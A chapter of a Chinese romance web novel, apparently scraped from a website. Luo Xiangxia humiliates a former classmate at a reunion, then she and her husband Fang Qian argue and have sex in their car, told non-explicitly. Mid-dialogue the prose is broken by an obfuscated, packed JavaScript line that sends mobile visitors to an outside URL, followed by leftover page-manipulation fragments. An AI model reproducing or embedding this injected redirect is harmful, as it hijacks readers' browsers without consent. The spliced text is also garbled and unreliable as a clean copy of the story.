6. 黄芪

作品:《难以言喻

    “夏夏……”


    方骞坐在罗向夏身边,他总是有点担心,虽然目前为止还没发生什么暴力流血事件,但以罗向夏的脾气显然不会这么轻易放过安庆。


    “你闭嘴啦。”罗向夏说。


    “出来玩,还是不要生气比较好。”


    方骞说,罗向夏根本不理他。


    有钱人玩的地方虽然也逃不过酒色钱权,但在没撕破脸皮之前反而显得越发高端不可冒犯。


    同学群里不由自主的安静下来,不敢像在烤肉店里一样放肆吵闹,人人都不免感到一些格格不入的不安,除了罗向夏。


    漂亮得像模特一样的服务人员要上来倒酒,罗向夏制止了她。


    “我们同学好多年没亲近了,弄得这样规规矩矩太有距离感。”


    “是呀……”


    “就是嘛向夏,让他们出去就可以了。”


    “既然你们都这么说,”罗向夏露出一个无奈的笑容,她把酒瓶子递给安庆,“安庆是我们的老大哥,让他来倒酒啦。”


    话说得很好听,但气氛却莫名的尴尬,安庆也终于感受到罗向夏故意为之的羞辱。明明在烤肉店他给大家劝酒倒酒也很开心,但换了个地方就感觉完全不是那么回事了。


    “好……好吧,本来就该我这个大哥照顾你们嘛,我以前还是班长呢。”安庆笑着给自己缓解尴尬,但因为大家都不笑反而让他更尴尬了。


    “不要扭扭捏捏,”罗向夏笑着说,艳丽得像个邪恶的妖精,让人不敢直视,“快点倒酒吧。”


    安庆只好给大家倒酒,要是在烤肉店他肯定就拒绝了,但换到这里拒绝的话却怎么都说不出来。


    其实这样的会所都十分人性化,每个角落都分开安放着舒适的座位,让置身其中的人既保留相互的联系又不至于太过靠近。但罗向夏偏偏要带他们围坐在一张巨大的桌子旁,头顶的光让每个人都无所遁形。安庆就这样拿着酒瓶,在所有人注视下在会所工作人员的窥视下,慢慢的一步一步的走过去,给每个人都斟上一杯酒。


    也不是没有人为他缓解尴尬,说一声辛苦了谢谢之类的,但声音都小得可怜,好像生怕大声了被罗向夏听见捕捉了去似的。


    罗向夏就这样含着笑意看着安庆倒酒,看着他每多倒一杯酒脚步就沉重一分。


    “咱们班的同学太多了是吧,”罗向夏说,“有六十几个呢。”


    安庆感觉自己的背都弯了下去,他刚刚就在心里怨恨为什么自己的同学怎么这么多,坐上这样一大桌,让他的折磨无限延长。罗向夏果然是个能看穿人心的大魔头啊,安庆想,但是他实在想不起自己什么时候得罪过她。


    罗向夏这样的女魔头,他看一眼就两股战战了,哪里敢招惹她,今天同学聚会他还很是讨好,尽力活跃气氛呢。


    想来想去也只能归罪于方骞了,他的记性虽然不像罗向夏那么好,但小时候欺负方骞实在太多次了,也总不至于一点罗向夏整他的原由都想不到。


    这两个人感情还真好……


    安庆有点不屑又掩藏着一点羡慕,不过他还是想不通,罗向夏这样的女人到底为什么会爱上方骞啊。


    明明那么弱,一点男人气概也没有。就连他这样的人都能在老婆面前颐指气使,方骞在罗向夏面前却是毫无做老公的威严。


    估计就是因为太会讨好人罗向夏才看上他的吧,毕竟她这样根本不像女人的女人,又不会小意温柔给男人面子,即使再有钱又怎么样,是个有骨气的男人都看不上她的。


    女人还是应该像女人一点,干嘛牝鸡司晨喧宾夺主,即使赚得多也该明白男人才是一家之主的道理。


    不懂得照顾男人,孩子也不生,家里也顾不上,好像听说对父母也不怎么样,这样的女人究竟有什么用处,有什么存在的意义啊。


    安庆就一边这样想着,一边给大家倒酒。出奇的是,他虽然这么想,却奇异的对罗向夏生不出一点怨恨来,反而像是安慰自己的抱怨。


    酒终于倒完了,安庆却像抽掉了脊梁骨。同学们仿佛也经历了一场酷刑,好在不是落到自己身上,所以气氛很快重新活跃,大家开始享受起这样高档地方的好处来。


    罗向夏品着酒,慢慢也有点上头。


    一群人都醉醺醺昏沉沉的,突然有人又提到了罗向夏和方骞初中的事,还好奇的问他们是怎么在一起的。


    安庆像条哈巴狗一样热情,说:“是高中的时候在一起的吧,有段时间方骞每天都像喝醉酒一样,那个样子一看就是有女朋友了,问他也不说,只是一个劲脸红。”


    方骞很不好意思,像这样私密的事情被拿出来取笑只会让他尴尬而已。


    “说起来,初中时候一直传你们接吻是怎么回事啊?”


    一个醉得头昏的人问。


    好在罗向夏没有生气,她只是撑着下巴在想着什么:“说起来也实在有点遗憾……”


    “究竟怎么回事?”


    “当时根本没亲到嘛。”罗向夏说。


    “哇!”一堆人开始起哄,“要不然现在亲一个……亲一个,亲一个,亲一个!”


    方骞转头去看罗向夏,感觉她又要生气。


    罗向夏也转头看他,脸上飞红已经有了醉意,但眼睛却比平常还亮,像被烈酒洗过一样。


    “好吧,”罗向夏说,“满足你们。”


    “啊?”方骞愣在原地。


    在一群人的吵闹声中,罗向夏一翻身就跪坐在了方骞身上。


    “夏……夏……夏夏……”


    方骞被吓得口齿不清,想站起来却被罗向夏按住肩膀。


    “你是我的……”罗向夏捏住方骞的脸,带着醉意的气息吐在他耳边,“知不知道?”


    方骞耳朵红得要滴血。


    “夏夏你喝多……”


    罗向夏一低头,就把方骞的话堵了回去。


    唇齿相依,辗转反侧。


    这个吻可比那个狗屁初吻正式多了,罗向夏想到这里忍不住使劲咬了咬方骞的下唇。


    同学聚会圆满结束。


    罗向夏喝了酒,只能方骞开车,他们在车库里说话。


    “今天好不好玩?”罗向夏偏过头来问他。


    “不好玩。”方骞说。


    “为什么?”罗向夏问。


    “已经很多年的事了,”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14889521|159942||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    方骞握着方向盘,“何必还去计较呢?”


    罗向夏想骂人:“你是圣母……哦不,圣父吗?”


    方骞叹了口气:“小时候不懂事,其实安庆也不是那么坏。”


    罗向夏白眼简直要翻到天上去。


    “你也太做作了吧,坏人我当了,你现在来装好人。”


    “也没有吧,”方骞想了下,“其实也有点高兴,但是安庆那个样子让人看了怪难受的,还不如打他一顿干脆。”


    罗向夏得意的摊开手耸耸肩:“我什么都没做啊。”


    “是啊,”方骞说,“谁也挑不出你的错,但以后谁也不敢得罪你了。”


    罗向夏冷笑:“他完全可以拒绝嘛,而且只是倒酒而已。你以为他是屈服于我吗,他只是屈服于自己想象的金钱和权力而已,觉得难堪也只是因为还有一点廉价的自尊,但是只要他抬抬头挺挺背说句不要,我又不能拿他怎么样。”


    才怪。


    方骞在心里吐槽。


    “好了,”罗向夏突然柔软起来,她靠在方骞肩膀上,仰头看着他,“明天安庆肯定还会和没事人一样跟你打招呼,他那样的人流于世俗低头低得轻而易举,我只是撕开他最后一层遮羞布而已。看着吧,以后他会体贴入微,热情得不可思议。”


    方骞心里有点不好受,但不是因为安庆。他这个人莫名有点伤春悲秋,大概是当了老师的原因,与其说同情安庆还不如说感慨人性。


    “喂……”


    方骞疑惑的看向罗向夏。


    “我们做吧。”


    方骞的耳朵又红起来。


    “干嘛这么纯情,”罗向夏不满的说,“你是第一次吗?”


    “说……说什么傻话……”


    “那来吧。”


    罗向夏探头开始咬方骞的耳朵,把那发红的耳垂含在嘴里用牙齿细细的磨蹭。


    “这是车库啊!”


    方骞手忙脚乱的要阻止她。


    “车窗是看不见里面的……”


    “那也不行啊。”


    “为什么?”


    “没……没有安全套。”


    罗向夏喉咙里发出低笑:“没有那个东西感觉应该会更好吧,会让你更舒服一点哦。”


    方骞的手已经不知道是在扶着罗向夏还是把她拉得更近。


    “这是车里啊……”


    “车-震更刺激。”


    “……”


    “会把车上弄脏的。”


    “那就把我一起弄脏好了……”


    罗向夏真是个恶魔,像方骞这样纯洁的小天使是无法抵御她的诱惑的。


    不过车-震……


    虽然羞耻,但真的很刺激。


    罗向夏懒洋洋的,眼角含着泪水趴在方骞身上。


    她抱着方骞:“好想睡觉哦。”


    “啊……”


    “你发出这个失望的声音是什么意思?”


    “我……”方骞羞得不行,低头去吻沉浸在余韵里快要睡着的罗向夏,“再来一次好不好?”


    “……”


    果然,男人这个东西,再怎么伪装,本性也是一样的。